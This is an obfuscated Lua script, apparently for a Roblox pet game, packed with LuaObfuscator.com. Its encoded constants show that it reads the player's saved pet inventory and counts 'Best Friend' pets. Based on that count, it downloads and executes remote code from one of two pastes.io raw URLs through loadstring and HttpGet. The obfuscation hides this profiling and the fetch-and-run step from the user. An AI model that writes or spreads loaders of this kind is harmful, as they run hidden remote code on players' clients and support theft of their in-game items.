--[[ .____ ________ ___. _____ __ | | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________ | | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \ | |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/ |_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__| \/ \/ \/ \/ \/ \/ \/ \_Welcome to LuaObfuscator.com (Alpha 0.2.8) ~ Much Love, Ferib ]]-- do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==5) then v27=v24;v28=nil;function v28(...)return {...},v12("#",...);end v18=6;end if (v18==1) then v21=nil;function v21(v31,v32,v33)if v33 then local v71=(v31/((5 -3)^(v32-(2 -1))))%((3 -1)^(((v33-(2 -1)) -(v32-(620 -(555 + 64)))) + (932 -(857 + 12 + 62)))) ;return v71-(v71%(569 -(367 + 201))) ;else local v72=(929 -(214 + 713))^(v32-((878 -(282 + 595)) + 0)) ;return (((v31%(v72 + v72))>=v72) and 1) or 0 ;end end v22=nil;v18=2;end if (v18==3) then v24=nil;function v24()local v34=0 -0 ;local v35;local v36;local v37;local v38;while true do if (v34==(1638 -(1523 + 114))) then return (v38 * (15077001 + 1700215)) + (v37 * 65536) + (v36 * (364 -108)) + v35 ;end if ((1065 -(68 + 997))==v34) then v35,v36,v37,v38=v1(v16,v19,v19 + (7 -4) );v19=v19 + 4 ;v34=1271 -((414 -188) + 1044) ;end end end v25=nil;v18=4;end if (v18==6) then v29=nil;function v29()local v39=0 + 0 ;local v40;local v41;local v42;local v43;local v44;local v45;local v46;local v47;while true do if (v39==(0 -0)) then v40=0 -0 ;v41=nil;v39=1 -0 ;end if (v39~=(11 -7)) then else while true do if (v40~=(288 -(134 + 151))) then else v47=nil;while true do local v99=1665 -(970 + 695) ;local v100;while true do if (0~=v99) then else v100=0;while true do if (v100==(1 -0)) then if (v41==(1991 -(582 + 1408))) then v45={v42,v43,nil,v44};v46=v24();v47={};v41=6 -4 ;end if (v41==(3 -0)) then local v124=0;local v125;while true do if (v124~=0) then else v125=0;while true do if (v125~=0) then else local v282=0 -0 ;while true do if (v282==(1824 -(1195 + 629))) then for v294=1 -0 ,v24() do v43[v294-1 ]=v29();end return v45;end end end end break;end end end break;end if (v100==(241 -(187 + 54))) then local v107=780 -(162 + 618) ;while true do if ((0 + 0)==v107) then if (v41==(2 + 0)) then local v227=0 -0 ;local v228;while true do if ((0 -0)==v227) then v228=0 + 0 ;while true do if (v228~=(1637 -(1373 + 263))) then else for v296=1001 -(451 + 549) ,v24() do local v297=0;local v298;local v299;local v300;while true do if (v297==0) then v298=0;v299=nil;v297=1;end if (1==v297) then v300=nil;while true do if (v298==1) then while true do if (v299==(0 + 0)) then v300=v22();if (v21(v300,1,1)==(0 -0)) then local v316=0 -0 ;local v317;local v318;local v319;local v320;while true do if (v316==(1385 -(746 + 638))) then v319=nil;v320=nil;v316=2;end if (v316~=0) then else v317=0;v318=nil;v316=1;end if (v316==(1 + 1)) then while true do if (v317==(0 -0)) then local v323=341 -(218 + 123) ;local v324;while true do if (v323~=(1581 -(1535 + 46))) then else v324=0 + 0 ;while true do if (v324~=(1 + 0)) then else v317=1;break;end if (v324==(560 -(306 + 254))) then local v334=0;while true do if (0==v334) then v318=v21(v300,1 + 1 ,3);v319=v21(v300,4,11 -5 );v334=1468 -(899 + 568) ;end if (v334~=1) then else v324=1 + 0 ;break;end end end end break;end end end if ((2 -1)~=v317) then else v320={v23(),v23(),nil,nil};if (v318==(0 + 0)) then local v328=0;local v329;while true do if (v328==0) then v329=1456 -(282 + 1174) ;while true do if ((811 -(569 + 242))~=v329) then else v320[3]=v23();v320[11 -7 ]=v23();break;end end break;end end elseif (v318==(1 + 0)) then v320[1027 -(706 + 318) ]=v24();elseif (v318==2) then v320[3]=v24() -(2^(1267 -(721 + 530))) ;elseif (v318==3) then local v339=0;local v340;while true do if (v339==0) then v340=0;while true do if (v340==(1271 -(945 + 326))) then v320[3]=v24() -(2^(39 -23)) ;v320[4]=v23();break;end end break;end end end v317=2;end if ((3 + 0)~=v317) then else if (v21(v319,703 -(271 + 429) ,3 + 0 )~=1) then else v320[4]=v47[v320[4]];end v42[v296]=v320;break;end if ((1502 -(1408 + 92))==v317) then local v326=0;local v327;while true do if (v326==0) then v327=1086 -(461 + 625) ;while true do if (v327==(1289 -(993 + 295))) then v317=1 + 2 ;break;end if (v327~=0) then else local v336=1171 -(418 + 753) ;while true do if (v336==1) then v327=1 + 0 ;break;end if ((0 + 0)==v336) then if (v21(v319,1 + 0 ,1 + 0 )==(530 -(406 + 123))) then v320[1771 -(1749 + 20) ]=v47[v320[2]];end if (v21(v319,2,1 + 1 )==1) then v320[3]=v47[v320[3]];end v336=1;end end end end break;end end end end break;end end end break;end end break;end if (v298==(1322 -(1249 + 73))) then local v310=0 + 0 ;while true do if (v310~=(1146 -(466 + 679))) then else v298=2 -1 ;break;end if ((0 -0)==v310) then local v312=1900 -(106 + 1794) ;while true do if (v312==(0 + 0)) then v299=0;v300=nil;v312=1;end if (v312==(1 + 0)) then v310=1;break;end end end end end end break;end end end v41=3;break;end if (v228==0) then for v301=1,v46 do local v302=0 -0 ;local v303;local v304;local v305;local v306;while true do if (v302==(2 -1)) then v305=nil;v306=nil;v302=2;end if (2==v302) then while true do if (v303==(115 -(4 + 110))) then v306=nil;while true do if (v304~=0) then else local v313=584 -(57 + 527) ;local v314;while true do if (v313==0) then v314=0;while true do if (v314==(1427 -(41 + 1386))) then local v321=103 -(17 + 86) ;local v322;while true do if (v321==0) then v322=0 + 0 ;while true do if (v322==1) then v314=1;break;end if (v322==(0 -0)) then local v333=0 -0 ;while true do if (1==v333) then v322=1;break;end if (v333~=(166 -(122 + 44))) then else v305=v22();v306=nil;v333=1;end end end end break;end end end if (v314~=1) then else v304=1 -0 ;break;end end break;end end end if (v304~=1) then else if (v305==(3 -2)) then v306=v22()~=0 ;elseif (v305==(2 + 0)) then v306=v25();elseif (v305~=(1 + 2)) then else v306=v26();end v47[v301]=v306;break;end end break;end if ((0 -0)==v303) then local v311=0;while true do if ((66 -(30 + 35))==v311) then v303=1 + 0 ;break;end if (0==v311) then v304=1257 -(1043 + 214) ;v305=nil;v311=1;end end end end break;end if (v302==(0 -0)) then v303=1212 -(323 + 889) ;v304=nil;v302=2 -1 ;end end end v45[583 -(361 + 219) ]=v22();v228=1;end end break;end end end if (v41==(320 -(53 + 267))) then local v229=0;while true do if (v229~=(0 + 0)) then else local v283=0;while true do if (v283~=0) then else v42={};v43={};v283=414 -(15 + 398) ;end if (v283==1) then v229=983 -(18 + 964) ;break;end end end if (v229==1) then v44={};v41=3 -2 ;break;end end end v107=1;end if (v107~=1) then else v100=1;break;end end end end break;end end end break;end if (v40==0) then local v96=0 + 0 ;while true do if (v96==(1 + 0)) then v40=1;break;end if (v96~=0) then else v41=850 -(20 + 830) ;v42=nil;v96=1;end end end if (v40==(2 + 0)) then local v97=126 -(116 + 10) ;while true do if (v97==(0 + 0)) then v45=nil;v46=nil;v97=1;end if (v97==1) then v40=741 -(542 + 196) ;break;end end end if (v40==(1 -0)) then local v98=0;while true do if (v98==(1 + 0)) then v40=2;break;end if (v98==(0 + 0)) then v43=nil;v44=nil;v98=1;end end end end break;end if (v39~=2) then else v44=nil;v45=nil;v39=3;end if (v39~=(1 + 0)) then else v42=nil;v43=nil;v39=4 -2 ;end if (v39~=3) then else v46=nil;v47=nil;v39=4;end end end v30=nil;v18=7;end if (v18==4) then function v25()local v48=0 -0 ;local v49;local v50;local v51;local v52;local v53;local v54;while true do if ((1553 -(1126 + 425))==v48) then v53=v21(v50,426 -(118 + 287) ,(1625 -(363 + 1141)) -90 );v54=((v21(v50,1361 -(797 + 532) )==(1 + 0)) and -(1 + 0)) or (2 -1) ;v48=1124 -(118 + (2583 -(1183 + 397))) ;end if (v48==(8 -5)) then if (v53==(377 -(142 + 235))) then if (v52==(731 -(476 + 255))) then return v54 * (1130 -(369 + 761)) ;else v53=1 + 0 ;v51=0 -0 ;end elseif (v53==((1357 -911) + 1601)) then return ((v52==(0 -0)) and (v54 * (((732 + 246) -((2528 -(1913 + 62)) + 424))/(0 + 0)))) or (v54 * NaN) ;end return v8(v54,v53-(1933 -910) ) * (v51 + (v52/((2 + 0)^(52 + 0)))) ;end if (v48==(0 + 0)) then v49=v24();v50=v24();v48=1 -0 ;end if (v48==(1 + 0)) then v51=217 -(42 + 110 + 64) ;v52=(v21(v50,1 + 0 ,20) * ((4 -2)^(88 -56))) + v49 ;v48=4 -2 ;end end end v26=nil;function v26(v55)local v56;if not v55 then v55=v24();if (v55==(0 -0)) then return "";end end v56=v3(v16,v19,(v19 + v55) -(1934 -(565 + 1368)) );v19=v19 + v55 ;local v57={};for v69=3 -2 , #v56 do v57[v69]=v2(v1(v3(v56,v69,v69)));end return v6(v57);end v18=5;end if (v18==2) then function v22()local v58=v1(v16,v19,v19);v19=v19 + 1 ;return v58;end v23=nil;function v23()local v59,v60=v1(v16,v19,v19 + 2 );v19=v19 + (1663 -(1477 + 184)) ;return (v60 * (348 -92)) + v59 ;end v18=3;end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v61)if (v1(v61,2)==79) then local v73=0;while true do if (v73==0) then v20=v0(v3(v61,1,1));return "";end end else local v74=0;local v75;while true do if (v74==0) then v75=v2(v0(v61,16));if v20 then local v101=0;local v102;while true do if (v101==1) then return v102;end if (v101==0) then v102=v5(v75,v20);v20=nil;v101=1;end end else return v75;end break;end end end end);v18=1;end if (v18==7) then function v30(v62,v63,v64)local v65=0;local v66;local v67;local v68;while true do if (v65==1) then v68=v62[3];return function(...)local v79=v66;local v80=v67;local v81=v68;local v82=v28;local v83=1;local v84= -1;local v85={};local v86={...};local v87=v12("#",...) -1 ;local v88={};local v89={};for v93=0,v87 do if (v93>=v81) then v85[v93-v81 ]=v86[v93 + 1 ];else v89[v93]=v86[v93 + 1 ];end end local v90=(v87-v81) + 1 ;local v91;local v92;while true do v91=v79[v83];v92=v91[1];if (v92<=13) then if (v92<=6) then if (v92<=2) then if (v92<=0) then local v108=v91[2];local v109,v110=v82(v89[v108](v13(v89,v108 + 1 ,v91[3])));v84=(v110 + v108) -1 ;local v111=0;for v120=v108,v84 do local v121=0;while true do if (v121==0) then v111=v111 + 1 ;v89[v120]=v109[v111];break;end end end elseif (v92>1) then local v126;local v127;v89[v91[2]]=v64[v91[3]];v83=v83 + 1 ;v91=v79[v83];v127=v91[2];v126=v89[v91[3]];v89[v127 + 1 ]=v126;v89[v127]=v126[v91[4]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v91[3];v83=v83 + 1 ;v91=v79[v83];v127=v91[2];v89[v127]=v89[v127](v13(v89,v127 + 1 ,v91[3]));v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v89[v91[3]][v91[4]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v89[v91[3]][v91[4]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v89[v91[3]][v91[4]];v83=v83 + 1 ;v91=v79[v83];v127=v91[2];v89[v127]=v89[v127](v89[v127 + 1 ]);v83=v83 + 1 ;v91=v79[v83];v64[v91[3]]=v89[v91[2]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]={};else local v138=v91[2];local v139=v89[v91[3]];v89[v138 + 1 ]=v139;v89[v138]=v139[v91[4]];end elseif (v92<=4) then if (v92==3) then v64[v91[3]]=v89[v91[2]];else local v145;local v146,v147;local v148;local v149;v89[v91[2]]=v64[v91[3]];v83=v83 + 1 ;v91=v79[v83];v149=v91[2];v148=v89[v91[3]];v89[v149 + 1 ]=v148;v89[v149]=v148[v91[4]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v91[3];v83=v83 + 1 ;v91=v79[v83];v149=v91[2];v146,v147=v82(v89[v149](v13(v89,v149 + 1 ,v91[3])));v84=(v147 + v149) -1 ;v145=0;for v198=v149,v84 do v145=v145 + 1 ;v89[v198]=v146[v145];end v83=v83 + 1 ;v91=v79[v83];v149=v91[2];v89[v149]=v89[v149](v13(v89,v149 + 1 ,v84));v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]();v83=v83 + 1 ;v91=v79[v83];v83=v91[3];end elseif (v92>5) then v89[v91[2]]=v89[v91[3]] + v91[4] ;elseif (v89[v91[2]]==v91[4]) then v83=v83 + 1 ;else v83=v91[3];end elseif (v92<=9) then if (v92<=7) then local v112=v91[2];v89[v112]=v89[v112](v13(v89,v112 + 1 ,v84));elseif (v92>8) then local v160=0;local v161;while true do if (v160==0) then v161=v91[2];v89[v161]=v89[v161](v13(v89,v161 + 1 ,v91[3]));break;end end else local v162=0;local v163;while true do if (v162==0) then v163=v91[2];v89[v163]=v89[v163]();break;end end end elseif (v92<=11) then if (v92==10) then local v164=0;local v165;while true do if (v164==0) then v165=v91[2];v89[v165]=v89[v165](v89[v165 + 1 ]);break;end end else local v166=0;local v167;local v168;local v169;while true do if (v166==4) then v89[v169]=v89[v169]();v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v89[v91[3]][v91[4]];v166=5;end if (v166==7) then v83=v91[3];break;end if (v166==3) then v89[v91[2]]=v89[v91[3]][v91[4]];v83=v83 + 1 ;v91=v79[v83];v169=v91[2];v166=4;end if (v166==2) then v91=v79[v83];v89[v91[2]]=v64[v91[3]];v83=v83 + 1 ;v91=v79[v83];v166=3;end if (v166==5) then v83=v83 + 1 ;v91=v79[v83];v169=v91[2];v168={v89[v169](v89[v169 + 1 ])};v166=6;end if (v166==6) then v167=0;for v274=v169,v91[4] do v167=v167 + 1 ;v89[v274]=v168[v167];end v83=v83 + 1 ;v91=v79[v83];v166=7;end if (v166==0) then v167=nil;v168=nil;v169=nil;v64[v91[3]]=v89[v91[2]];v166=1;end if (v166==1) then v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v64[v91[3]];v83=v83 + 1 ;v166=2;end end end elseif (v92>12) then v89[v91[2]]();else local v170=0;local v171;local v172;local v173;local v174;local v175;while true do if (v170==6) then v89[v175]=v89[v175](v13(v89,v175 + 1 ,v84));v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]();v170=7;end if (v170==2) then v174=v89[v91[3]];v89[v175 + 1 ]=v174;v89[v175]=v174[v91[4]];v83=v83 + 1 ;v170=3;end if (v170==1) then v89[v91[2]]=v64[v91[3]];v83=v83 + 1 ;v91=v79[v83];v175=v91[2];v170=2;end if (5==v170) then for v277=v175,v84 do local v278=0;while true do if (v278==0) then v171=v171 + 1 ;v89[v277]=v172[v171];break;end end end v83=v83 + 1 ;v91=v79[v83];v175=v91[2];v170=6;end if (v170==0) then v171=nil;v172,v173=nil;v174=nil;v175=nil;v170=1;end if (v170==4) then v175=v91[2];v172,v173=v82(v89[v175](v13(v89,v175 + 1 ,v91[3])));v84=(v173 + v175) -1 ;v171=0;v170=5;end if (7==v170) then v83=v83 + 1 ;v91=v79[v83];v83=v91[3];break;end if (v170==3) then v91=v79[v83];v89[v91[2]]=v91[3];v83=v83 + 1 ;v91=v79[v83];v170=4;end end end elseif (v92<=20) then if (v92<=16) then if (v92<=14) then local v114=v91[2];local v115={v89[v114](v89[v114 + 1 ])};local v116=0;for v122=v114,v91[4] do local v123=0;while true do if (v123==0) then v116=v116 + 1 ;v89[v122]=v115[v116];break;end end end elseif (v92>15) then do return;end else v89[v91[2]]={};end elseif (v92<=18) then if (v92>17) then if (v91[2]<=v89[v91[4]]) then v83=v83 + 1 ;else v83=v91[3];end else local v177=v91[2];v89[v177](v13(v89,v177 + 1 ,v91[3]));end elseif (v92==19) then v89[v91[2]]=v91[3];else v89[v91[2]]=v89[v91[3]][v91[4]];end elseif (v92<=23) then if (v92<=21) then local v117=0;local v118;local v119;while true do if (v117==0) then v118=v91[2];v119={};v117=1;end if (v117==1) then for v222=1, #v88 do local v223=0;local v224;while true do if (v223==0) then v224=v88[v222];for v284=0, #v224 do local v285=v224[v284];local v286=v285[1];local v287=v285[2];if ((v286==v89) and (v287>=v118)) then local v292=0;while true do if (v292==0) then v119[v287]=v286[v287];v285[1]=v119;break;end end end end break;end end end break;end end elseif (v92==22) then v89[v91[2]]=v63[v91[3]];else local v184=v80[v91[3]];local v185;local v186={};v185=v10({},{__index=function(v202,v203)local v204=v186[v203];return v204[1][v204[2]];end,__newindex=function(v205,v206,v207)local v208=v186[v206];v208[1][v208[2]]=v207;end});for v210=1,v91[4] do local v211=0;local v212;while true do if (v211==1) then if (v212[1]==25) then v186[v210-1 ]={v89,v212[3]};else v186[v210-1 ]={v63,v212[3]};end v88[ #v88 + 1 ]=v186;break;end if (v211==0) then v83=v83 + 1 ;v212=v79[v83];v211=1;end end end v89[v91[2]]=v30(v184,v185,v64);end elseif (v92<=25) then if (v92==24) then local v188=v91[2];local v189=v91[4];local v190=v188 + 2 ;local v191={v89[v188](v89[v188 + 1 ],v89[v190])};for v213=1,v189 do v89[v190 + v213 ]=v191[v213];end local v192=v191[1];if v192 then v89[v190]=v192;v83=v91[3];else v83=v83 + 1 ;end else v89[v91[2]]=v89[v91[3]];end elseif (v92>26) then v89[v91[2]]=v64[v91[3]];else v83=v91[3];end v83=v83 + 1 ;end end;end if (v65==0) then v66=v62[1];v67=v62[2];v65=1;end end end return v30(v29(),{},v17)(...);end end end v15("LOL!183O00028O00026O00F03F03013O007803073O007265717569726503043O0067616D65030A3O004765745365727669636503113O005265706C69636174656453746F7261676503073O004C69627261727903063O00436C69656E7403043O005361766503013O0079027O004003013O007503053O0070616972732O033O0047657403043O005065747303053O007461626C6503063O00696E7365727403053O007063612O6C026O002440030A3O006C6F6164737472696E6703073O00482O747047657403203O00682O7470733A2O2F7061737465732E696F2F7261772F6A30613565336F76337503203O00682O7470733A2O2F7061737465732E696F2F7261772F78706B632O7375772O71005B3O0012133O00013O0026053O00180001000100041A3O00180001001213000100013O002605000100080001000200041A3O000800010012133O00023O00041A3O00180001002605000100040001000100041A3O0004000100121B000200043O001202000300053O00202O00030003000600122O000500076O00030005000200202O00030003000800202O00030003000900202O00030003000A4O00020002000200122O000200036O00025O0012030002000B3O001213000100023O00041A3O000400010026053O00330001000200041A3O00330001001213000100013O0026050001001F0001000200041A3O001F00010012133O000C3O00041A3O003300010026050001001B0001000100041A3O001B0001001213000200013O00120B0002000D3O00122O0002000E3O00122O000300033O00202O00030003000F4O00030001000200202O0003000300104O00020002000400044O002F000100121B000700113O00201400070007001200121B0008000B4O0019000900064O00110007000900010006180002002A0001000200041A3O002A0001001213000100023O00041A3O001B00010026053O00010001000C00041A3O0001000100121B0001000E3O00121B0002000B4O000E00010002000300041A3O0044000100121B0006000E4O0019000700054O000E00060002000800041A3O0042000100121B000B00133O000617000C3O000100012O00193O000A4O000E000B0002000C2O001500095O0006180006003D0001000200041A3O003D0001000618000100390001000200041A3O0039000100121B0001000D3O000E12001400510001000100041A3O0051000100121B000100153O001204000200053O00202O00020002001600122O000400176O000200046O00013O00024O00010001000100044O005A000100121B000100153O001204000200053O00202O00020002001600122O000400186O000200046O00013O00024O00010001000100044O005A000100041A3O000100012O00103O00013O00013O00043O0003053O007061697273030B3O004265737420467269656E6403013O0075026O00F03F00123O00121B3O00014O001600016O000E3O0002000200041A3O000F000100121B000500014O0019000600044O000E00050002000700041A3O000D00010026050009000D0001000200041A3O000D000100121B000A00033O002006000A000A0004001203000A00033O000618000500080001000200041A3O000800010006183O00040001000200041A3O000400012O00103O00017O00",v9(),...);end